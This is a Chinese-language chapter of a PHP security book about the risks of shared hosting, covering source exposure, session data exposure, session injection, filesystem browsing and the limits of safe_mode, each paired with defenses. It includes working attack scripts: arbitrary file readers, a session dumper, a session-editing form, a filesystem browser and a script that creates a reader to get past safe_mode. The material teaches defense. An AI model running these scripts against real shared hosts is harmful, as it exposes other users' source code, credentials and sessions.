第八章 共享主机-php安全基础
在共享主机环境中达到高级别的安全是不可能的。可是,通过小心的规划,你能避免一些常见的错误并防止一些最常用的攻击手段。虽然有些方法需要你的主机提供商提供协助,但也有一些其他的你自己就能做到的方法。
本章涉及伴随共享主机而产生的风险。尽管同样的安全措施可以用于防止很多攻击手段,但为了认识到问题的范围,多看一些范例是很有用的。
由于本书的焦点是应用的安全性而不是架构的安全性,我不会讨论加强服务器环境安全的技巧。如果你是一位主机提供商并需要更多关于架构安全方面的信息,我推荐下面一些资源:
Apache服务器安全, Ivan Ristic著 (O’Reilly出版社)
http://suphp.org/
http://wikipedia.org/wiki/chroot
本章中的很多示例都是演示攻击手段而不是安全措施。同样地,它们都有故意制造的漏洞。
为加强你对本章中主题的理解,我高度推荐用其中的示例进行实验。
8.1. 源码暴露
你的WEB服务器必须要能够读取你的源确并执行它,这就意味着任意人所写的代码被服务器运行时,它同样可以读取你的源码。在一个共享主机上,最大的风险是由于WEB服务器是共享的,因此其它开发者所写的PHP代码可以读取任意文件。
1 2 3 4 5 6 |
<?php header('Content-Type: text/plain'); readfile($_GET['file']); ?> |
通过在你的源码所在的主机上运行上面脚本,攻击者可以通过把file的值指定为完整的路径和文件名来使WEB服务器读取并显示任何文件。例如,假定该脚本命名为file.php,位于主机example.org上,只要通过访问下面链接即可使文件/path/to/source.php的内容暴露:
http://example.org/file.php?file=/path/to/source.php
当然,要使这段简单的代码起作用,攻击者必须确切地知道你的源码的位置,但是攻击者可以写出更复杂的脚本,通过它可以方便在浏览整个文件系统。关于此类脚本,请看本章后面部分的示例。
对该问题没有完美的解决方案。正如第五章所述,你必须考虑所有你的源码都是公开的,甚至是保存在WEB主目录之外的代码也是如此。
最好的办法是把所有敏感数据保存在数据库中。虽然这使一些代码的编写多了一层复杂性,但这是防止你的敏感数据暴露的最好方法。很不幸的是,还有一个问题。如何保存你的数据库访问密码?
请看保存在网站主目录之外一个名为db.inc的文件:
1 2 3 4 5 6 7 8 9 |
<?php $db_user = 'myuser'; $db_pass = 'mypass'; $db_host = 'localhost'; $db = mysql_connect($db_host, $db_user, $db_pass); ?> |
如果该文件的路径是已知的(或被猜中),就存在着你的服务器上的另外一个用户访问该文件的可能,就会获取数据库访问权限,这样你保存在数据库中的所有数据就会暴露。
解决该问题的最好方案是把你的数据库访问权限以下面的格式保存在一个只有系统管理员权限才能读取的文件中:
SetEnv DB_USER “myuser”
SetEnv DB_PASS “mypass”
SetEnv是一个Apache的指令,上面文件的意思是建立两个分别代表你的数据库用户名及密码的Apache环境变量。当然,该技巧的关键是只有系统管理员才能读取该文件。如果你无法登录成为系统管理员,你就可以限制该文件只能由你自已进行读取,这样的保护方式与上面的方式类似。
$ chmod 600 db.conf
$ ls db.conf
-rw——- 1 chris chris 48 May 21 12:34 db.conf
这就有效地防止了恶意脚本访问你的数据中权限,因此对于数据库中保存的敏感数据来说,不会有危及安全的重大风险。
为使该文件生效,你就需要能够通过PHP访问其中的数据。要达到这个目的,需要在httpd.conf中写上如下的包含句:
Include “/path/to/db.conf”
需要注意该语句需要插入在VirtualHost区域内,否则其它用户就能取得相应的内容。
由于Apache的父进程以系统管理员身份运行(需要绑定在80端口),它能够读取该配置文件,但处理服务器请求的子进程(运行PHP脚本)不能读取该文件。
你可以通过$_SERVER超级全局数组去访问这两个变量,这样在db.inc中,只要通过引用$_SERVER变量即可,而不是在其中写明数据库的权限:
1 2 3 4 5 6 7 8 9 |
<?php $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; $db = mysql_connect($db_host, $db_user, $db_pass); ?> |
如果该文件被暴露,数据库访问权也不会泄露。这对于共享主机是一大安全性改进,同时对于独立主机也是一种深度防范手段。
注意在使用上述技巧时,数据库访问权限就位于$_SERVER超级公用数组中。这就需要同时限制普通访问者运行phpinfo()察看或其它任何导致$_SERVER内容暴露的原因。
当然,你可以使用本技巧保护任何信息(不只是数据库访问权限),但我发现把大多数数据保存在数据库更为方便,特别是由于该技巧需要得到你的主机提供商的协助。
8.2. 会话数据暴露
当你关注于防止源码的暴露时,你的会话数据只同样存在着风险。在默认情况下,SESSION保存在/tmp目录下。这样做在很多情形下是很方便的,其中之一是所有用户都有对/tmp的写入权限,这样Apache同样也有权限进行写入。虽然其他用户不能直接从shell环境读取这些会话文件,但他们可以写一个简单的脚本来进行读取:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
<?php header('Content-Type: text/plain'); session_start(); $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $data = file_get_contents("$path/$filename"); if (!empty($data)) { session_decode($data); $session = $_SESSION; $_SESSION = array(); echo "Session [" . substr($filename, 5) . "]\n"; print_r($session); echo "\n--\n\n"; } } } ?> |
这个脚本在session.save_path所定义的会话文件保存目录中搜索以sess_为前缀的文件。找到文件后,即对它的内容进行解析并用print_r()函数显示它的内容。这样其它开发者就容易地取得了你的用户的会话数据。
解决这个问题的最好方法是把你的会话数据存入用用户名和密码保护的数据库中。由于数据库的访问是受控的,这样就多了一层额外的保护。通过应用前节中提及的技巧,数据库可以为你的敏感数据提供一个安全的存放地,同时你应该保持警惕,你的数据库安全性正变得越来越重要。
为在数据库中保存会话数据,首先需要建立一个数据表:
CREATE TABLE sessions
(
id varchar(32) NOT NULL,
access int(10) unsigned,
data text,
PRIMARY KEY (id)
);
如果你使用的是MySQL,则表结构描述如下:
mysql> DESCRIBE sessions;
+——–+——————+——+—–+———+——-+
| Field | Type | Null | Key | Default | Extra |
+——–+——————+——+—–+———+——-+
| id | varchar(32) | | PRI | | |
| access | int(10) unsigned | YES | | NULL | |
| data | text | YES | | NULL | |
+——–+——————+——+—–+———+——-+
如要使会话数据能保存在此表中,你需要使用session_set_save_handler( )函数来编辑PHP的内建会话机制:
1 2 3 4 5 6 7 8 9 10 |
<?php session_set_save_handler('_open', '_close', '_read', '_write', '_destroy', '_clean'); ?> |
Each of these six arguments is the name of a function that you must write. These functions handle the following tasks:
以上的六个参数每一个都代表着需要你编写的函数的名称,他们对下面的任务进行处理:
l 打开会话存储
l 关闭会话存储
l 读取会话数据
l 写入会话数据
l 消灭会话数据
l 清除旧会话数据
我有意使用了有意义的名称,这样你可以一下看出它们的目的。命名是任意的,但你可能希望用下划线开头(如此处所示)或其它的命名约定来防止名称冲突。下面是这些函数(使用MySQL)的示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 |
<?php function _open() { global $_sess_db; $db_user = $_SERVER['DB_USER']; $db_pass = $_SERVER['DB_PASS']; $db_host = 'localhost'; if ($_sess_db = mysql_connect($db_host, $db_user, $db_pass)) { return mysql_select_db('sessions', $_sess_db); } return FALSE; } function _close() { global $_sess_db; return mysql_close($_sess_db); } function _read($id) { global $_sess_db; $id = mysql_real_escape_string($id); $sql = "SELECT data FROM sessions WHERE id = '$id'"; if ($result = mysql_query($sql, $_sess_db)) { if (mysql_num_rows($result)) { $record = mysql_fetch_assoc($result); return $record['data']; } } return ''; } function _write($id, $data) { global $_sess_db; $access = time(); $id = mysql_real_escape_string($id); $access = mysql_real_escape_string($access); $data = mysql_real_escape_string($data); $sql = "REPLACE INTO sessions VALUES ('$id', '$access', '$data')"; return mysql_query($sql, $_sess_db); } function _destroy($id) { global $_sess_db; $id = mysql_real_escape_string($id); $sql = "DELETE FROM sessions WHERE id = '$id'"; return mysql_query($sql, $_sess_db); } function _clean($max) { global $_sess_db; $old = time() - $max; $old = mysql_real_escape_string($old); $sql = "DELETE FROM sessions WHERE access < '$old'"; return mysql_query($sql, $_sess_db); } ?> |
你必须要在session_start( )之前调用session_set_save_handler( )函数,但你可以在任何地方对这些函数本身进行定义。
这个流程的漂亮之处在于你无须对代码进行编辑或变化使用会话的方式。$_SESSION依然存在,行为依旧,还是由PHP来产生与传递会识标识,对有关会话的配置变更同样还会生效。所有你需要做的只是调用这一个函数(同时建立由它指定的所有函数),PHP就会照顾余下的事情。
8.3. 会话注入
一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 |
<?php session_start(); ?> <form action="inject.php" method="POST"> <?php $path = ini_get('session.save_path'); $handle = dir($path); while ($filename = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "<h1>Session [$sess_name]</h1>"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form> |
脚本inject.php执行由表单所指定的修改:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
<?php session_start(); $path = ini_get('session.save_path'); foreach ($_POST as $sess_name => $sess_data) { $_SESSION = $sess_data; $sess_data = session_encode; file_put_contents("$path/$sess_name", $sess_data); } $_SESSION = array(); ?> |
此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。
针对这个问题的最好解决方案是将会话数据保存在数据库中。参见前节所示。
8.4. 文件系统浏览
除了能在共享服务器上读取任意文件之外,攻击者还能建立一个可以浏览文件系统的脚本。由于你的大多数敏感文件不会保存在网站主目录下,此类脚本一般用于找到你的源文件的所在位置。请看下例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 |
<?php if (isset($_GET['dir'])) { ls($_GET['dir']); } elseif (isset($_GET['file'])) { cat($_GET['file']); } else { ls('/'); } function cat($file) { echo htmlentities(file_get_contents($file), ENT_QUOTES, 'UTF-8')); } function ls($dir) { $handle = dir($dir); while ($filename = $handle->read()) { $size = filesize("$dir$filename"); if (is_dir("$dir$filename")) { $type = 'dir'; $filename .= '/'; } else { $type = 'file'; } if (is_readable("$dir$filename")) { $line = str_pad($size, 15); $line .= "<a href=\"{$_SERVER['PHP_SELF']}"; $line .= "?$type=$dir$filename\">$filename</a>"; } else { $line = str_pad($size, 15); $line .= $filename; } echo "$line\n"; } $handle->close(); } ?> |
攻击者可能会首先察看/etc/passwd文件或/home目录以取得该服务器上的用户名清单;可以通过语言的结构如include或require来发现保存在网站主目录以外的源文件所在位置。例如,考虑一下下面的脚本文件/home/victim/public_html/admin.php:
1 2 3 4 5 6 7 |
<?php include '../inc/db.inc'; /* ... */ ?> |
如果攻击者设法显示了该文件的源码,就可以发现db.inc的所在位置,同时他可以使用readfile()函数来使其内容暴露,取得了数据库的访问权限。这样,在这个环境中保存db.inc于网站主目录之外的做法并未起到保护作用。
这一攻击说明了为什么要把共享服务器上的所有源文件看成是公开的,并要选择数据库实现所有敏感数据的保存。
8.5. 安全模式
PHP的safe_mode选项的目的是为了解决本章所述的某些问题。但是,在PHP层面上去解决这类问题从架构上来看是不正确的,正如PHP手册所述(http://php.net/features.safe-mode)。
当安全模式生效时,PHP会对正在执行的脚本所读取(或所操作)文件的属主进行检查,以保证与该脚本的属主是相同的。虽然这样确实可以防范本章中的很多例子,但它不会影响其它语言编写的程序。例如,使用Bash写的CGI脚本:
1 2 3 4 5 |
#!/bin/bash echo "Content-Type: text/plain" echo "" cat /home/victim/inc/db.inc |
Bash解析器会去关心甚至检查PHP配置文件中的打开安全模式的配置字符串吗?当然不会。同样的,该服务器支持的其它语言,如Perl,Python等都不会去关心这个。 本章中的所有例子可以很简单地被改编成其它编程语言。
另一个典型的问题是安全模式不会拒绝属于WEB服务器文件的访问。这是由于一段脚本可以用于建立另一段脚本,而新脚本是属于WEB服务器的,因此它可以访问所有属于WEB服务器的文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
<?php $filename = 'file.php'; $script = '<?php header(\'Content-Type: text/plain\'); readfile($_GET[\'file\']); ?>'; file_put_contents($filename, $script); ?> |
上面的脚本建立了下面的文件:
1 2 3 4 5 6 |
<?php header('Content-Type: text/plain'); readfile($_GET['file']); ?> |
由于该文件是由Web服务器所建立的,因此它的属主是Web服务器(Apache一般以nobody用户运行):
$ ls file.php
-rw-r–r– 1 nobody nobody 72 May 21 12:34 file.php
因此,这个脚本可以绕过很多安全模式所提供的安全措施。即使打开了安全模式,攻击者也能显示一些信息如保存在/tmp目录内的会话信息,这是由于这些文件是属于Web服务器的(nobody)。
PHP的安全模式确实起到了一些作用,可以认为它是一种深度防范机制。可是,它只提供了可怜的保护,同时在本章中也没有其它安全措施来替代它。